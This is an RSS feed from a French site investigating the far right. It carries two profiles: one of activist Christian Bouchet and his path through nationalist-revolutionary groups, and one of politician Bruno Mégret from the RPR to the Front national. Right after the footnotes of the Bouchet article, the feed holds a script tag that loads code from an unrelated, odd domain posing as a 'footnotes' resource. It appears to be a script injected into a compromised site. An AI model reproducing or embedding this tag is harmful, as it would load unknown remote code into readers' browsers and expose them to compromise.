<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>REFLEXes &#187; Comités d’Action Républicaine (CAR)</title>
	<atom:link href="https://reflexes.samizdat.net/tag/comites-daction-republicaine-car/feed/" rel="self" type="application/rss+xml" />
	<link>https://reflexes.samizdat.net</link>
	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
	<lastBuildDate>Fri, 18 Dec 2015 08:40:56 +0000</lastBuildDate>
	<language>fr-FR</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.9.2</generator>
	<item>
		<title>Christian Bouchet, militant politique</title>
		<link>https://reflexes.samizdat.net/christian-bouchet-militant-politique/</link>
		<comments>https://reflexes.samizdat.net/christian-bouchet-militant-politique/#comments</comments>
		<pubDate>Tue, 21 Jan 2003 13:48:04 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Bruno Mégret]]></category>
		<category><![CDATA[Christian Bouchet]]></category>
		<category><![CDATA[Comités d’Action Républicaine (CAR)]]></category>
		<category><![CDATA[Groupe de Recherches et d'Études sur la Civilisation Européenne (GRECE)]]></category>
		<category><![CDATA[Jean-Gilles Malliarakis]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[De la Nouvelle Action française aux cercles Résistance Né en 1955. Marié. Actuellement enseignant en Droit et Techniques commerciales; ancien agent immobilier. Publié à l&#8217;automne 1998 Issu d&#8217;une famille royaliste qui connut des problèmes à la Libération pour son pétainisme fervent, il a été élevé dans une tradition militante : la famille connut de nouveaux [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>De la Nouvelle Action française aux cercles Résistance</p>
<p>Né en 1955. Marié. Actuellement enseignant en Droit et Techniques commerciales; ancien agent immobilier.<br />
Publié à l&rsquo;automne 1998</p>
<p>Issu d&rsquo;une famille royaliste qui connut des problèmes à la Libération pour son pétainisme fervent, il a été élevé dans une tradition militante : la famille connut de nouveaux problèmes durant la guerre d&rsquo;Algérie pour son soutien à l&rsquo;OAS. Au début des années 1970, il adhère à la Nouvelle Action française de B. Renouvin, groupe issu d&rsquo;une scission de la vieille Action Française et influencé par les événements de 1968 (enfin&#8230; autant que faire se peut pour une organisation royaliste). Son évolution politique le pousse à adhérer à l&rsquo;Organisation Lutte du Peuple (OLP) dirigée par Y. Bataille. Cette dernière est la copie conforme d&rsquo;un mouvement créé en Italie en 1969 par Serafeno Di Luia et qui symbolise la tendance «nazi-mao» de l&rsquo;extrême droite italienne. L&rsquo;OLP italienne fut par la suite impliquée dans la stratégie de la tension et en particulier l&rsquo;attentat de la Piazza Fontana.<br />
Depuis cette époque, il poursuit un parcours politique dans la mouvance nationaliste-révolutionnaire tout en participant à diverses organisations plus ou moins proches de ce courant. C&rsquo;est ainsi qu&rsquo;en 1979 il rejoint le Mouvement Nationaliste Révolutionnaire (MNR) de Jean-Gilles Malliarakis. Mais son éclectisme politique le fait également adhérer en 1982 aux CAR, Comités d&rsquo;Action Républicaine, structure créée par Bruno Mégret (alors au RPR) pour multiplier les contacts entre droite dite «parlementaire» et droite dite «nationale» mais également armer idéologiquement le discours national-libéral. Ne reculant devant aucun sacrifice, il devient membre du GRECE à peu près à la même époque.</p>
<p>1985 : le MNR devient Troisième Voie (TV) et Bouchet accède au poste de responsable pour la région nantaise. Cette situation provoque son exclusion du GRECE en 1988 puisque les relations entre TV et la principale structure néo-droitiste sont alors au plus bas. Elles semblent s&rsquo;être réchauffées depuis, un signe manifeste en étant la rencontre entre C. Bouchet et M. Rollet, «chancelier» du GRECE, à Marseille durant l&rsquo;été 1995. Ce rapprochement s&rsquo;explique peut-être par la scission-querelle entre le GRECE et Synergies européennes<sup><a href="https://reflexes.samizdat.net/christian-bouchet-militant-politique/#footnote_0_81" id="identifier_0_81" class="footnote-link footnote-identifier-link" title="Les principales figures de ce groupe, Robert Cousty et Philippe Pissier, semblent &eacute;galement int&eacute;ress&eacute;es par l&rsquo;&eacute;sot&eacute;risme, le premier &eacute;tant &agrave; l&rsquo;origine d&rsquo;une intervention au colloque de l&rsquo;Originel sur &laquo;Les origines de la WICCA en Angleterre entre mythe et r&eacute;alit&eacute;&raquo; et le second dirigeant les &Eacute;ditions du Blockhaus dont le catalogue contient divers ouvrages d&rsquo;Aleister Crowley ou de l&rsquo;Ahnenerbe, l&rsquo;Institut d&rsquo;&eacute;tudes &eacute;sot&eacute;riques et raciales de la SS dirig&eacute; par Heinrich Himmler.">1</a></sup>.</p>
<p>Au sein de TV, C. Bouchet développe une tendance qui prend le nom de «tercériste radicale» et se dote d&rsquo;une feuille d&rsquo;info. : Alternative tercériste. Il y attaque régulièrement Malliarakis au nom de l&rsquo;idéal nationaliste-révolutionnaire, lui reprochant son rapprochement avec le FN et son rôle au sein du CDCA. En juillet 1991, Bouchet franchit le Rubicon et diffuse à tous les adhérents et sympathisants de TV une circulaire dans laquelle il convoque une réunion du conseil national de TV pour le 31 août. Se réclamant du national-bolchévisme, Bouchet et sa tendance proposent de rompre avec la dérive réactionnaire de Malliarakis et de fonder une nouvelle organisation : Nouvelles Résistances (cf. <em>REFLEXes </em>n°37). Dans une lettre de mise au point, Malliarakis réplique en accusant Bouchet d&rsquo;avoir détourné le fichier et les cotisations des sections, bref de s&rsquo;être tiré avec la caisse, et revendique le maintien de TV. Politiquement, NR vise à la construction d&rsquo;un «Front uni anti-système» et se réclame tout à la fois de l&rsquo;anticapitalisme et de l&rsquo;antiaméricanisme, du localisme autogestionnaire, etc.<br />
Cette récupération de thèmes portés par l&rsquo;extrême-gauche des années 1970 s&rsquo;accompagne également de celle de logos, affiches et slogans du mouvement libertaire sur lesquels l&rsquo;organisation se contente de placer son sigle.<br />
Il faut ajouter à ce tableau fort succinct l&rsquo;infiltration de diverses structures (Socialisme International, Écolo-J) et luttes (Tunnel du Somport, lutte anti-Mac Do&rsquo;).</p>
<p>&nbsp;</p>
<ol class="footnotes"><li id="footnote_0_81" class="footnote">Les principales figures de ce groupe, Robert Cousty et Philippe Pissier, semblent également intéressées par l&rsquo;ésotérisme, le premier étant à l&rsquo;origine d&rsquo;une intervention au colloque de l&rsquo;Originel sur «Les origines de la WICCA en Angleterre entre mythe et réalité» et le second dirigeant les Éditions du Blockhaus dont le catalogue contient divers ouvrages d&rsquo;Aleister Crowley ou de l&rsquo;Ahnenerbe, l&rsquo;Institut d&rsquo;études ésotériques et raciales de la SS dirigé par Heinrich Himmler.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
			<wfw:commentRss>https://reflexes.samizdat.net/christian-bouchet-militant-politique/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Portrait : Bruno Mégret</title>
		<link>https://reflexes.samizdat.net/portrait-bruno-megret/</link>
		<comments>https://reflexes.samizdat.net/portrait-bruno-megret/#comments</comments>
		<pubDate>Wed, 15 Jan 2003 07:37:29 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les institutionnels]]></category>
		<category><![CDATA[Bruno Mégret]]></category>
		<category><![CDATA[Club de l’Horloge]]></category>
		<category><![CDATA[Comités d’Action Républicaine (CAR)]]></category>
		<category><![CDATA[Front national (FN)]]></category>
		<category><![CDATA[Jean-Yves Le Gallou]]></category>
		<category><![CDATA[Vitrolles]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Né le 4 avril 1949 dans le XVIe arrondissement de Paris, le petit Bruno grandit au sein d’une famille centriste, dont le père est conseiller d’État. Élève au lycée Louis-le-Grand en 1968, il enchaîne avec l’École polytechnique puis Ponts-et-Chaussées, et enfin des études scientifiques à Berkeley en Californie.]]></description>
				<content:encoded><![CDATA[<p>Né le 4 avril 1949 dans le XVIe arrondissement de Paris, le petit Bruno grandit au sein d’une famille centriste, dont le père est conseiller d’État. Élève au lycée Louis-le-Grand en 1968, il enchaîne avec l’École polytechnique puis Ponts-et-Chaussées, et enfin des études scientifiques à Berkeley en Californie.</p>
<p>Mégret s’engage rapidement en politique, précisément au RPR. Apparatchik par nature, il grimpe rapidement dans l’appareil et rentre en 1979 au comité central (chargé des argumentaires politiques), en particulier avec l’appui de Charles Pasqua. Il y reste jusqu’en 1982. Il mène parallèlement une carrière dans la haute administration, étant successivement chargé de mission au Commissariat au Plan puis à la DDE de l’Essonne avant de devenir conseiller technique au ministère de la Coopération jusqu’en 1981. Cependant, sur le plan idéologique, c’est au Club de l’Horloge qu’il trouve son bonheur dès 1974, et en devient l’administrateur jusqu’en 1981. Il y rencontre Yvan Blot et Jean-Yves Le Gallou, qu’il retrouvera plus tard au Front national.</p>
<p>La victoire des socialistes en mai 1981 est la goutte d’eau qui fait déborder le vase. La rupture avec le RPR est totale, et Mégret ne voit aucun autre parti capable de l’accueillir (il faut dire que le FN est encore insignifiant). C’est pourquoi, au début de l’année 1982, il crée avec un ancien de l’Algérie française et du GRECE, Jean-Claude Bardet, les Comités d’Action Républicaine (CAR), sorte de clubs qui se donnent pour objectif de «mener des campagnes permanentes d’opposition pour préparer le retour d’un gouvernement non marxiste». Il en est le président de 1982 à 1988. Mais là encore, l’ambitieux Mégret trouve la structure insuffisante, et en 1985 il rejoint le FN. Il joue ainsi un rôle de figure symbolique de la volonté de rassemblement de la droite affichée par le FN en 1986 lors des élections législatives. En deux ans, il se retrouve directeur de la campagne présidentielle de Le Pen (il le sera à nouveau en 1995) ; un an après, il est nommé délégué général par Le Pen (le poste est créé pour l’occasion). On le voit, c’est son allégeance passée à Le Pen qui permet au moment de la scission à Mégret de considérer comme sien un parti dont il a contribué à structurer non seulement l’organisation mais aussi l’idéologie. Car c’est surtout au niveau du discours et de la propagande que Mégret s’est imposé, en particulier grâce à son Institut de Formation Nationale (IFN), véritable école des cadres FN, qui sont peu à peu devenus des cadres mégrétistes. La scission et le piège que constituait la campagne des «TSM» (Tout Sauf Mégret) relativise malgré tout les qualités tactiques qui pouvait lui être attribuées.</p>
<p>Parallèlement, dès 1987, il commence son travail d’implantation locale à Gardanne dans les Bouches du Rhône (il conduit la liste FN aux élections régionales de 1990 dans cette région).</p>
<p>Après avoir manqué de peu l’élection aux législatives de 1993, jouant décidément de malchance, il rate également de justesse l’élection municipale de juin 1995 à Vitrolles (43 % des voix). Un an et demi plus tard, à l’issue d’une véritable guerre électorale, il y fait élire sa femme Catherine (52,27% des voix) : la ville devient alors une vitrine de ce qu’il est capable de faire, à savoir le pire… Depuis il a tenté de s’implanter dans les Bouches-du-Rhône au niveau législatif en 1997, ce qui a de nouveau échoué. 2002 sera-t-il la bonne ?</p>
]]></content:encoded>
			<wfw:commentRss>https://reflexes.samizdat.net/portrait-bruno-megret/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
